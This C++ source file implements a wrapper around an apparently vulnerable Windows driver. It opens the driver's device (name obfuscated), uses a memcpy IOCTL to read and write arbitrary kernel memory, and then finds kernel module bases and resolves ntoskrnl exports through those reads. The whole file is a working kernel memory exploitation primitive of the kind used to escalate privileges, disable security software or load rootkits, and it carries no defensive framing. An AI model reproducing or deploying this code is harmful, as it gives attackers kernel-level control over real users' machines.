#include "pdfwkrnl.h"

bool pdfwkrnl::attach() {
    if(driver_handle) {
        CloseHandle(driver_handle);
        driver_handle = nullptr;
    }

    driver_handle = CreateFileA(driver_symbolic_link.decrypt(),
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if(!driver_handle || driver_handle == INVALID_HANDLE_VALUE){
        return false;
    }

    return true;
}

bool pdfwkrnl::detach() {
    if(driver_handle) {
        HANDLE temp_handle = driver_handle;
        driver_handle = nullptr;
        return CloseHandle(temp_handle);
    }

    return false;
}

bool pdfwkrnl::read(uint64_t _Address, void* _Buffer, size_t Size) {
    if (driver_handle == INVALID_HANDLE_VALUE || !_Buffer || !Size || !_Address)
        return false;
    
    structure::PDFW_MEMCPY memcpy_data = { 0 };
    memcpy_data.Destination = (PVOID)_Buffer;
    memcpy_data.Source = (void*)_Address;
    memcpy_data.Size = Size;

    DWORD bytes_returned;
    return DeviceIoControl(driver_handle,
        driver_memcpy,
        &memcpy_data,
        sizeof(structure::PDFW_MEMCPY),
        &memcpy_data,
        sizeof(structure::PDFW_MEMCPY),
        &bytes_returned,
        NULL) != 0;
}

bool pdfwkrnl::write(uint64_t _Address, void* _Buffer, size_t Size) {
    if (driver_handle == INVALID_HANDLE_VALUE || !_Buffer || !Size || !_Address)
        return false;

    structure::PDFW_MEMCPY memcpy_data = { 0 };
    memcpy_data.Destination = (PVOID)_Address;
    memcpy_data.Source = _Buffer;
    memcpy_data.Size = Size;

    DWORD bytes_returned;
    return DeviceIoControl(driver_handle,
        driver_memcpy,
        &memcpy_data,
        sizeof(structure::PDFW_MEMCPY),
        &memcpy_data,
        sizeof(structure::PDFW_MEMCPY),
        &bytes_returned,
        NULL) != 0;
}

uint64_t pdfwkrnl::get_kernel_base() {
    uint64_t kernel_base = 0;

    DWORD CbNeeded = 0;
    LPVOID Drivers[1024]{};

    if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) {
        for (DWORD i = 0; i < (CbNeeded / sizeof(LPVOID)); i++) {
            char szDriverName[MAX_PATH]{};
            if (GetDeviceDriverBaseNameA(Drivers[i], szDriverName, sizeof(szDriverName))) {
                if (strcmp(szDriverName, STR("ntoskrnl.exe").decrypt()) == 0) {
                    kernel_base = reinterpret_cast<uint64_t>(Drivers[i]);
                    break;
                }
            }
        }
    }

    return kernel_base;
}

uint64_t pdfwkrnl::get_kernel_base(const char* module_name) {
    uint64_t kernel_base = 0;

    DWORD CbNeeded = 0;
    LPVOID Drivers[1024]{};

    if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) {
        for (DWORD i = 0; i < (CbNeeded / sizeof(LPVOID)); i++) {
            char szDriverName[MAX_PATH]{};
            if (GetDeviceDriverBaseNameA(Drivers[i], szDriverName, sizeof(szDriverName))) {
                if (strcmp(szDriverName, module_name) == 0) {
                    kernel_base = reinterpret_cast<uint64_t>(Drivers[i]);
                    break;
                }
            }
        }
    }

    return kernel_base;
}

uint64_t pdfwkrnl::get_kernel_export(const char* export_name) {
	uint64_t kernel_base = get_kernel_base();
    if (!kernel_base)
        return 0;

	uint64_t export_address = 0;

    IMAGE_DOS_HEADER dos_header = read<IMAGE_DOS_HEADER>(kernel_base);
    if(dos_header.e_magic != IMAGE_DOS_SIGNATURE)
        return 0;
	
	IMAGE_NT_HEADERS64 nt_headers = read<IMAGE_NT_HEADERS64>(kernel_base + dos_header.e_lfanew);
    if(nt_headers.Signature != IMAGE_NT_SIGNATURE)
		return 0;

    if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
        IMAGE_EXPORT_DIRECTORY export_directory = read<IMAGE_EXPORT_DIRECTORY>(kernel_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        if (export_directory.NumberOfFunctions > 0) {
            auto address_of_functions = kernel_base + export_directory.AddressOfFunctions;
            auto address_of_names = kernel_base + export_directory.AddressOfNames;
            auto address_of_name_ordinals = kernel_base + export_directory.AddressOfNameOrdinals;

            std::vector<DWORD> func_rvas(export_directory.NumberOfFunctions);
            std::vector<DWORD> name_rvas(export_directory.NumberOfNames);
            std::vector<WORD> ordinals(export_directory.NumberOfNames);

            if (!read(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD)))
                return 0;

            if (!read(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD)))
                return 0;

            if (!read(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD)))
                return 0;

            for (DWORD i = 0; i < export_directory.NumberOfNames; i++) {
                char func_name[MAX_PATH] = { 0 };
                auto name_address = kernel_base + name_rvas[i];

                if (!read(name_address, func_name, sizeof(func_name)))
                    continue;

                func_name[MAX_PATH - 1] = '\0';

                auto ordinal = export_directory.Base + ordinals[i];
                auto func_rva = func_rvas[ordinals[i]];
                auto func_address = kernel_base + func_rva;

                if (!strcmp(func_name, export_name))
                    return func_address;
            }

        }
        else
            return 0;
    }
    else {
        return 0;
    }

    return 0;
}

uint64_t pdfwkrnl::get_kernel_export(const char* module_name, const char* export_name) {
    uint64_t kernel_base = get_kernel_base(module_name);
    if (!kernel_base)
        return 0;

    uint64_t export_address = 0;

    IMAGE_DOS_HEADER dos_header = read<IMAGE_DOS_HEADER>(kernel_base);
    if (dos_header.e_magic != IMAGE_DOS_SIGNATURE)
        return 0;

    IMAGE_NT_HEADERS64 nt_headers = read<IMAGE_NT_HEADERS64>(kernel_base + dos_header.e_lfanew);
    if (nt_headers.Signature != IMAGE_NT_SIGNATURE)
        return 0;

    if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
        IMAGE_EXPORT_DIRECTORY export_directory = read<IMAGE_EXPORT_DIRECTORY>(kernel_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        if (export_directory.NumberOfFunctions > 0) {
            auto address_of_functions = kernel_base + export_directory.AddressOfFunctions;
            auto address_of_names = kernel_base + export_directory.AddressOfNames;
            auto address_of_name_ordinals = kernel_base + export_directory.AddressOfNameOrdinals;

            std::vector<DWORD> func_rvas(export_directory.NumberOfFunctions);
            std::vector<DWORD> name_rvas(export_directory.NumberOfNames);
            std::vector<WORD> ordinals(export_directory.NumberOfNames);

            if (!read(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD)))
                return 0;

            if (!read(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD)))
                return 0;

            if (!read(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD)))
                return 0;

            for (DWORD i = 0; i < export_directory.NumberOfNames; i++) {
                char func_name[MAX_PATH] = { 0 };
                auto name_address = kernel_base + name_rvas[i];

                if (!read(name_address, func_name, sizeof(func_name)))
                    continue;

                func_name[MAX_PATH - 1] = '\0';

                auto ordinal = export_directory.Base + ordinals[i];
                auto func_rva = func_rvas[ordinals[i]];
                auto func_address = kernel_base + func_rva;

                if (!strcmp(func_name, export_name))
                    return func_address;
            }

        }
        else
            return 0;
    }
    else {
        return 0;
    }

    return 0;
}